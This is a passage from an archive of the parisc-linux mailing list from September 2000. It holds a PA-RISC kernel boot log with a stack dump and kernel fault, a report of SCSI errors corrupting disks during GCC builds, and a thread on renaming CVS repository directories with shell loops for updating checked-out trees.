sym53c896-1: rev 0x4 on pci bus 0 device 15 function 1 irq 513
sym53c896-1: NCR clock is 40218KHz
sym53c896-1: ID 7, Fast-40, Parity Checking
sym53c896-1: on-chip RAM at 0xf4000000
sym53c896-1: restart (scsi reset).
sym53c896-1: handling phase mismatch from SCRIPTS.
sym53c896-1: Downloading SCSI SCRIPTS.
scsi0 : sym53c8xx - version 1.6b
scsi1 : sym53c8xx - version 1.6b
scsi : 2 hosts.
  Vendor: SEAGATE   Model: ST39102LC         Rev: HP01
  Type:   Direct-Access                      ANSI SCSI revision: 02
Detected scsi disk sda at scsi1, channel 0, id 6, lun 0
sym53c896-1-<6,0>: tagged command queue depth set to 8
scsi : detected 1 SCSI disk total.
sym53c896-1-<6,0>: wide msgout: 1-2-3-1.
sym53c896-1-<6,0>: wide msgin: 1-2-3-1.
sym53c896-1-<6,0>: wide: wide=1 chg=0.
sym53c896-1-<6,0>: wide msgout: 1-2-3-1.
sym53c896-1-<6,0>: wide msgin: 1-2-3-1.
sym53c896-1-<6,0>: wide: wide=1 chg=0.
sym53c896-1-<6,0>: sync msgout: 1-3-1-c-1f.
sym53c896-1-<6,0>: sync msg in: 1-3-1-c-f.
sym53c896-1-<6,0>: sync: per=12 scntl3=0xb0 scntl4=0x0 ofs=15 fak=0 chg=0.
sym53c896-1-<6,*>: FAST-20 WIDE SCSI 40.0 MB/s (50 ns, offset 15)
SCSI device sda: hdwr sector= 512 bytes. Sectors= 17773524 [8678 MB] [8.7 GB]
Partition check:
 sda: unknown partition table
Serial driver version 5.01 (2000-05-29) with MANY_PORTS SHARE_IRQ SERIAL_PCI enabled
Linux Tulip driver version 0.9.8 (July 13, 2000)
pcibios_enable_device: Enabling device 00:0c.0 (0057 -> 0157)
eth0: Digital DS21143 Tulip rev 48 at 0x1000, 00:10:83:36:00:89, IRQ 514.
eth0:  MII transceiver #1 config 1000 status 782d advertising 01e1.
Sending BOOTP requests.... OK
IP-Config: Got BOOTP answer from 15.8.81.247, my address is 15.8.80.77
Switching from PDC console


PDC Console Initialized
Switched to PDC console

Dumping Stack from e0000000 to e00002c0:

Dumping Stack from c025c000 to c025d680:
c000 08000081 00000090 00000000 c0220ad4 08000082 00000090 00000000 c0220aec
c020 08000083 00000090 00000000 c0220b00 08000084 00000090 00000000 c0220b14
c040 08000085 00000090 00000000 c0220b28 08000086 00000090 00000000 c0220b38
c060 08000087 00000090 00000000 c0220b4c 08000088 00000090 00000000 c0220b60
c080 08000089 00000090 00000000 c0220b70 0800008a 00000090 00000000 c0220818
c0a0 0800008b 00000090 00000000 c0220830 08000090 00000090 00000000 c0220b80
c0c0 08000091 00000090 00000000 c0220b94 080007ff 00000090 00000000 c0220ba4
c0e0 08000800 00000090 00000000 c021ad10 08000801 00000090 00000000 c021ad00
c100 080008ff 00000090 00000000 c0220bb4 08000091 00000090 00000000 c0220bc8
c120 08000092 00000090 00000000 c0220bd8 08000093 00000090 00000000 c0220be8
c140 08000094 00000090 00000000 c0220bfc 08000095 00000090 00000000 c0220c10
c160 08000096 00000090 00000000 c0220c24 08000097 00000090 00000000 c0220c38
c180 08000098 00000090 00000000 c0220c4c 08000099 00000090 00000000 c0220c64
c1a0 0800009a 00000090 00000000 c0220c7c 0800009b 00000090 00000000 c0220c94
c1c0 30000004 00000300 00000000 c0220ca8 30000004 00000340 00000000 c0220cb0
c1e0 30000004 00000380 00000000 c0220cb8 30000004 00000490 00000000 c021b1b4
c200 00000000 00000000 00000000 00000000 01820ffe 00000000 01000ff0 00000000
c220 00800ff0 00000000 00000ff0 00000000 03000ffc 00000001 02800ffc 00000001
c240 02020fff 00000001 02000ffe 00000001 04000ff0 00000002 03200ff0 00000002
c260 03100ff0 00000002 02880fff 00000002 02840ffc 00000002 02040ffc 00000002
c280 02030fff 00000002 01820ffe 00000002 06100ff0 00000004 06000ff0 00000004
c2a0 00480ff0 00000004 04800ff0 00000004 05a00ffe 00000003 058e0fff 00000003
c2c0 058c0ffe 00000003 05880ffc 00000003 05800ff8 00000003 05920fff 00000003
c2e0 059e0fff 00000003 05b30fff 00000006 01840fff 00000006 059c0ffe 00000006
c300 05980ffc 00000006 05940ffc 00000006 05930fff 00000006 05900ffe 00000006
c320 058f0fff 00000006 059f0fff 00000006 05a40ffc 00000006 05a80ffc 00000006
c340 05a20ffe 00000006 05b20fff 00000007 05b60ffe 00000007 05b00ffe 00000007
c360 05ae0ffe 00000007 05ad0fff 00000007 05b50fff 00000007 05ba0fff 00000007
c380 05b80ffe 00000007 05b40fff 00000008 05bb0fff 00000008 05bc0ffc 00000008
c3a0 05c00fc0 00000008 05100ff0 00000005 05000ff0 00000005 00000000 00000000
c3c0 c0220d54 c0220d44 c0220d34 c0220d24 c0220d10 c0220cfc c0220cec c0220cdc
c3e0 c0220ccc c0220cbc 00000000 00000000 00000000 00000000 00000000 00000000
c400 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c420 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c440 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c460 00000000 00000000 00000000 00000000 00000007 00000000 00000000 00000000
c480 00000008 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c4a0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c4c0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c4e0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c500 c010b10c c010b2e8 c010b58c c010b5a8 c010b5d0 c010b5d4 c010b62c c010b630
c520 c010b648 c010b10c c010b660 c010b668 c010b5a8 c010b5d0 c010b5d4 c010b62c
c540 c010b630 c010b648 00000000 00000000 00000000 00000000 00000000 00000000
c560 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c580 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c5a0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c5c0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c5e0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c600 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c620 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c640 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c660 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c680 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c6a0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c6c0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c6e0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c700 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c720 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c740 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c760 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c780 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c7a0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c7c0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c7e0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c800 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c820 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c840 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c860 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c880 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c8a0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c8c0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c8e0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c900 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c920 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c940 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c960 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c980 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c9a0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c9c0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c9e0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
ca00 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
ca20 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
ca40 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
ca60 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
ca80 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
caa0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
cac0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
cae0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
cb00 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
cb20 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
cb40 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
cb60 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
cb80 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
cba0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
cbc0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
cbe0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
cc00 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
cc20 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
cc40 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
cc60 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
cc80 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
cca0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
ccc0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
cce0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
cd00 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
cd20 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
cd40 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
cd60 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
cd80 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
cda0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
cdc0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
cde0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
ce00 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
ce20 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
ce40 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
ce60 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
ce80 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
cea0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
cec0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
cee0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
cf00 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
cf20 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
cf40 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
cf60 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
cf80 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
cfa0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
cfc0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
cfe0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
d000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
d020 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
d040 00000000 00000000 00000000 00269000 00000000 00000000 00000000 00000000
d060 00000000 00000000 00000000 00107128 00000000 00000000 00000000 00000000
d080 00000000 00000000 c0217430 dfffe000 dffffe58 c02a61db 00000008 00000001
d0a0 e0000024 00000380 00000002 0000005a 0000006c 00000025 c02a61db 00000068
d0c0 00000004 00000001 f0000174 c0254950 00000000 dfffe000 c010d634 00000000
d0e0 00000000 00000000 c02a61db c0256000 ffffffff 20000080 e00002c0 c0109748
d100 0000001f 00000000 ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff
d120 00003d09 ffffffff 00000078 ffffffff 00000000 001c9c38 ffffffff ffffffff
d140 ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff
d160 ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff
d180 ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff
d1a0 ffffffff ffffffff ffffffff ffffffff 00000000 000003e8 00000000 00009bdc
d1c0 0000000a 00000064 00000060 ffffffff 00000029 ffffffff ffffffff ffffffff
d1e0 ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff 60020060
d200 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
d220 00000000 00000000 c0216984 c0216988 00000000 00000000 00000000 00000000
d240 00000000 00000000 00000000 00000000 00000000 6bc33f49 00000000 e0000024
d260 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
d280 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
d2a0 00000000 00000000 00000000 c01056e8 00000000 00000000 00000000 00000000
d2c0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
d2e0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
d300 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
d320 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
d340 00000000 00000000 00107198 00261000 00271000 f0000018 00000000 00000000
d360 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
d380 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
d3a0 00000000 00000000 00000000 c0107e14 00000000 00000000 00000000 00000000
d3c0 00000000 c0100000 00104024 00000000 00000000 00000001 c025d080 c0217fcc
d3e0 00000000 00000000 00000000 c010071c 00000000 00000000 00000000 00000000
d400 00000001 c025d080 00000068 c02a61db 00000008 e00002c0 e0000000 c021934c
d420 00000000 c0100000 00104024 c01080cc 00000000 00000001 c026a49c 00000000
d440 0004000a c026a000 c01080cc e0000000 e00002c0 c025d080 c0219000 00000001
d460 c02191ec 00000000 fffa0000 f0408cd8 f0407ef0 00000025 c02a61db 00000068
d480 c025d080 00000001 f0000174 c026a478 c026a478 00000000 fee003fd 002a31bc
d4a0 c026a480 c026a480 c0219000 c0256000 0000002a eb426bac c025d680 00000060
d4c0 0000001f 00000000 ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff
d4e0 00003d09 ffffffff 00000078 ffffffff 00000000 001c9c38 ffffffff ffffffff
d500 ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff
d520 ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff
d540 ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff
d560 ffffffff ffffffff ffffffff ffffffff 00000000 000003e8 00000000 00009bdc
d580 0000000a 00000064 00000060 ffffffff 00000029 ffffffff ffffffff ffffffff
d5a0 ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff 60020060
d5c0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
d5e0 00000000 00000000 c01080d8 c01080dc fffffff0 f000a3a0 00000000 00261000
d600 00000000 00008000 00000000 00000000 00000018 0c701093 00000000 e0000008
d620 ffffffff fffa0000 fffffff0 f0408cd8 00000000 0025d5e8 00000000 00000000
d640 00000000 00000000 00000000 00000000 00000000 00000000 fffffff0 f00686cc
d660 00000000 00000000 fffffff0 c0105c6c fffffff0 f000a3a0 fffffff0 f0024a10

Kernel Fault: Code=15 regs=c025d440 (Addr=e0000008)

PSW  : 0004000a  GR 1 : c026a000  GR 2 : 0xc01080cc parisc_terminate+7c
c01080cc  GR 3 : e0000000  
GR 4 : e00002c0  GR 5 : c025d080  GR 6 : c0219000  GR 7 : 00000001  
GR 8 : c02191ec  GR 9 : 00000000  GR10 : fffa0000  GR11 : f0408cd8  
GR12 : f0407ef0  GR13 : 00000025  GR14 : c02a61db  GR15 : 00000068  
GR16 : c025d080  GR17 : 00000001  GR18 : f0000174  GR19 : c026a478  
GR20 : c026a478  GR21 : 00000000  GR22 : fee003fd  GR23 : 002a31bc  
GR24 : c026a480  GR25 : c026a480  GR26 : c0219000  GR27 : c0256000  
GR28 : 0000002a  GR29 : eb426bac  GR30 : c025d680  GR31 : 00000060  
SR0  : 00000000  SR1  : 00000000  SR2  : 00000000  SR3  : 00000000  
SR4  : 00000000  SR5  : 00000000  SR6  : 00000000  SR7  : 00000000  

IASQ : 00000000 00000000 IAOQ : c01080d8 c01080dc ORIG_R28 : 00008000
 IIR : 0c701093 ISR : 00000000 IOR : e0000008


(0xc01080d8 parisc_terminate+88
 0xc01080cc parisc_terminate+7c

probably has something to do with the fact that I don't have
a working serial console on this box and CONFIG_SERIAL_CONSOLE
is set)

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:13:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Big bad SCSI errors building GCC with / on SCSI
Date: 22 Sep 2000 20:08:20 -0400
Organization: Linuxcare, Inc.
Lines: 111
Approved: news@gmane.org
Message-ID: <87og1gm0ln.fsf@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619135 3911 80.91.229.3 (22 Nov 2014 01:18:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:55 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: dhd@linuxcare.com  Fri Sep 22 18:07:32 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA20177
	for <parisc-linux@puffin.external.hp.com>; Fri, 22 Sep 2000 18:07:31 -0600
Original-Received: (qmail 11327 invoked by uid 15267); 23 Sep 2000 00:08:12 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 11314 invoked from network); 23 Sep 2000 00:08:12 -0000
Original-Received: from ottawa.linuxcare.com (HELO tarwebok) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 23 Sep 2000 00:08:12 -0000
Original-Received: from dhd by tarwebok with local (Exim 3.12 #1 (Debian))
	id 13ccrf-0003Xy-00
	for <parisc-linux@thepuffingroup.com>; Fri, 22 Sep 2000 20:08:23 -0400
Original-Lines: 110
User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.6
Xref: news.gmane.org gmane.linux.ports.parisc:7973

Hi,

When trying to build GCC on a SCSI disk (with a root filesystem on
SCSI) I get a lot of horrible looking errors and the build fails.

Building GCC on a SCSI disk with root filesystem on NFS doesn't seem
to cause problems.

Note that building smaller things doesn't seem to trigger this.
Binutils for instance managed to squeak through though I got a few
'resetting SCSI bus and chip' messages.

One thing I should point out is that I didn't power cycle my A180 when
it crashed, I just soft-rebooted.  So I will try to provoke these
problems and then power cycle to see if they are cured by that.

My boot messages show (excuse the bad formatting, ^%@#%^#$^%$#Y&^
minicom can't cut and paste properly from xterm)

sim700: Configuring 53c710 (SCSI-ID 7) at ffd06100, IRQ 534
scsi0: Revision 0x2
Post test1, istat 01, sstat0 00, dstat 84
sim700: WARNING IRQ probe failed, (returned 0)
scsi0: Good, target data areas are dma coherent
scsi0: test 1 completed ok.
scsi0: sim700_intr_handle() called with no interrupt
scsi0 : LASI/Simple 53c7xx
scsi : 1 host.
Vendor: SEAGATE   Model: ST34573N
Rev: HP05
Type:   Direct-Access
ANSI SCSI revision: 02
Detected scsi disk sda at scsi0, channel 0, id 5, lun 0
Vendor: SEAGATE   Model: ST34573N
Rev: HP05
Type:   Direct-Access
ANSI SCSI revision: 02
Detected scsi disk sdb at scsi0, channel 0, id 6, lun 0
scsi : detected 2 SCSI disks total.
SCSI device sda: hdwr sector= 512 bytes. Sectors= 8388314 [4095 MB] [4.1 GB]
Partition check:
sda: sda1 sda2
SCSI device sdb: hdwr sector= 512 bytes. Sectors= 8388314 [4095 MB] [4.1 GB]
Partition check:
sdb: sdb1 sdb2

Errors look like:

scsi0: Unexpected stacked interrupt, istat 0a, sstat0 30, dstat 00
scsi0: Failed to handle interrupt.  Failing commands and resetting SCSI bus and chip
scsi0: istat = 0a, sstat0 = 20, sstat1 = 00, dstat = 00
scsi0: dsp = 07f4d3d0 (script[0x14f4]), dsps = ab93001b, target = 0
scsi0: Failing command for ID5
scsi0: Failing command for ID6
scsi0: sim700_intr_handle() called with no interrupt
scsi0: Unexpected stacked interrupt, istat 0a, sstat0 20, dstat 00
scsi0: Failed to handle interrupt.  Failing commands and resetting SCSI bus and chip
scsi0: istat = 0a, sstat0 = 20, sstat1 = 01, dstat = 00
scsi0: dsp = 07f4d150 (script[0x1454]), dsps = ab93000c, target = 0
scsi0: Failing command for ID5
scsi0: sim700_intr_handle() called with no interrupt
scsi0: >>>>>>>>>>>> Host reset <<<<<<<<<<<<                                     
scsi0: istat = 00, sstat0 = 00, sstat1 = 00, dstat = 00                         
scsi0: dsp = 07f4f438 (script[0x1d0e]), dsps = 07f4f448, target = 0             
scsi0: sim700_intr_handle() called with no interrupt                            
SCSI disk error : host 0 channel 0 id 5 lun 0 return code = 2                    
I/O error: dev 08:02, sector 139408                                             
I/O error: dev 08:02, sector 139416                                             
I/O error: dev 08:02, sector 139520                                             
I/O error: dev 08:02, sector 139768                                             
I/O error: dev 08:02, sector 140016                                             
I/O error: dev 08:02, sector 786768                                             
I/O error: dev 08:02, sector 888512
(etc)

Then the disk becomes basically unusable, I push TOC, I lose lots of
files, my blood pressure raises 30 points, I yell obscenities, etc.

This happens on both disks on the A180.  When it's my root filesystem
(/dev/sdb2) then it's really bad because the machine becomes totally
screwed (I still have a shell prompt but can't run any programs at
all).

The chart of success/failure in building/bootstrapping GCC looks like
this with kernel 2.4:

root NFS, build NFS:            'rpc_execute called for sleeping task!!',
                                over and over, total death (machine
                                continues to respond to pings, terminal
                                driver functions, all processes are
                                terminally wedged though)

root NFS, build /dev/sda2:      same NFS problem but it takes longer to
                                manifest itself.

root /dev/sdb2, build /dev/sda2: semi-horrible SCSI problems, but the
                                machine remains usable since /dev/sdb
                                is still basically functional

root /dev/sdb2, build /dev/sdb2: SCSI problems halfway through building
                                GCC backend, machine rendered unusable,
                                many files lost, filesystem corruption.

In order to build GCC at all I need to use linux 2.3.99pre8 with root
on NFS and build on SCSI.  And then I get unrelated crashes (probably
due to some bugs I've fixed in the 2.4 branch).

-- 
dhd@linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:13:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael Ang <mang@subcarrier.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] cvs directory renaming - *action required*
Date: Fri, 22 Sep 2000 20:29:10 -0400
Organization: Legion of Mozilla
Lines: 38
Approved: news@gmane.org
Message-ID: <39CBF956.4833E405@subcarrier.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619136 3915 80.91.229.3 (22 Nov 2014 01:18:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:56 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: mang@subcarrier.org  Fri Sep 22 18:27:25 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA20699
	for <parisc-linux@puffin.external.hp.com>; Fri, 22 Sep 2000 18:27:24 -0600
Original-Received: (qmail 26628 invoked by uid 15267); 23 Sep 2000 00:28:05 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 26615 invoked from network); 23 Sep 2000 00:28:05 -0000
Original-Received: from relay1.pair.com (209.68.1.20)
  by mailserv2.iuinc.com with SMTP; 23 Sep 2000 00:28:05 -0000
Original-Received: (qmail 13469 invoked from network); 23 Sep 2000 00:27:38 -0000
Original-Received: from cr482258-a.slnt1.on.wave.home.com (HELO subcarrier.org) (24.114.168.169)
  by relay1.pair.com with SMTP; 23 Sep 2000 00:27:38 -0000
X-pair-Authenticated: 24.114.168.169
Original-Sender: mang@mailserv2.iuinc.com
X-Mailer: Mozilla 4.7 [en] (X11; U; Linux 2.2.12-20 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:7974

In order to reduce some of the confusion about which directory was
active in the repository (did I want "binutils", "binutils-old", or
"binutils-2.10"?) some of the directories in the repository will be
renamed.  This will be moderately painful, but it's better to do the
painful thing now while we can still stamp out the old cruft.

"linux-2.3" will be renamed to "linux"
"binutils-2.10" will be renamed to "binutils"

If you currently have a tree checked out, you will need to change all of
your CVS/Repository files to point to the new directory names.  With
bash you can do it like this:
$ cd linux-2.3
$ for i in `find . -name Repository`; do echo "linux" > $i; done
$ cd binutils-2.10
$ for i in `find . -name Repository`; do echo "binutils" > $i; done

You can do this now, since there is a symlink set up to support both
names.  The alias for the old name will be removed Wednesday.  If you do
not hack your tree by then you won't be able to play (update, checkout,
etc) until you have the right repository entries.

Can someone please update the recipe and cvs info on
www.thepuffingroup.com/parisc?  Until the docs are updated, you can
mentally substitute "linux" for "linux-2.3" and "binutils" for
"binutils-2.10".

These should be the last directory games we play in the repository. 
After this, new vendor versions should be checked into the existing
directories (on a branch).  This will reduce the confusion from using
directory names for version control.

	- Mike.

P.S. If out of archeological interest you're looking for the old {linux,
binutils, binutils-old, egcs-old} directory, it's been moved under
directory "obsolete". e.g. "cvs co obsolete/binutils-old".


From - Thu Nov 08 21:13:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] cvs directory renaming - *action required*
Date: Sat, 23 Sep 2000 11:47:11 +1100 (EST)
Lines: 31
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0009231139030.31535-100000@front.linuxcare.com.au>
References: <39CBF956.4833E405@subcarrier.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619136 3919 80.91.229.3 (22 Nov 2014 01:18:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:56 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Michael Ang <mang@subcarrier.org>
Original-X-From: alan@linuxcare.com.au  Fri Sep 22 18:47:02 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA21164
	for <parisc-linux@puffin.external.hp.com>; Fri, 22 Sep 2000 18:47:02 -0600
Original-Received: (qmail 8431 invoked by uid 15267); 23 Sep 2000 00:47:43 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 8402 invoked from network); 23 Sep 2000 00:47:41 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 23 Sep 2000 00:47:41 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id LAA32075;
	Sat, 23 Sep 2000 11:47:11 +1100
In-Reply-To: <39CBF956.4833E405@subcarrier.org>
Xref: news.gmane.org gmane.linux.ports.parisc:7975

On Fri, 22 Sep 2000, Michael Ang wrote:

> "linux-2.3" will be renamed to "linux"
> "binutils-2.10" will be renamed to "binutils"
> 
> If you currently have a tree checked out, you will need to change all of
> your CVS/Repository files to point to the new directory names.  With
> bash you can do it like this:
> $ cd linux-2.3
> $ for i in `find . -name Repository`; do echo "linux" > $i; done
> $ cd binutils-2.10
> $ for i in `find . -name Repository`; do echo "binutils" > $i; done

Errm, will this work?  My linux-2.3/CVS/Repository file looks like this:
/home/cvs/parisc/linux-2.3
and linux-2.3/CVS/arch/Repository has
/home/cvs/parisc/linux-2.3/arch

I wasn't game to try the above, and instead used

cd linux-2.3
for z in `find . -name Repository`
do
  sed -e 's/-2.3//' $z > zzz && mv zzz $z
done

with a simliar trick for binutils.

-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:13:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael Ang <mang@subcarrier.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] cvs directory renaming - *action required*
Date: Fri, 22 Sep 2000 20:57:56 -0400
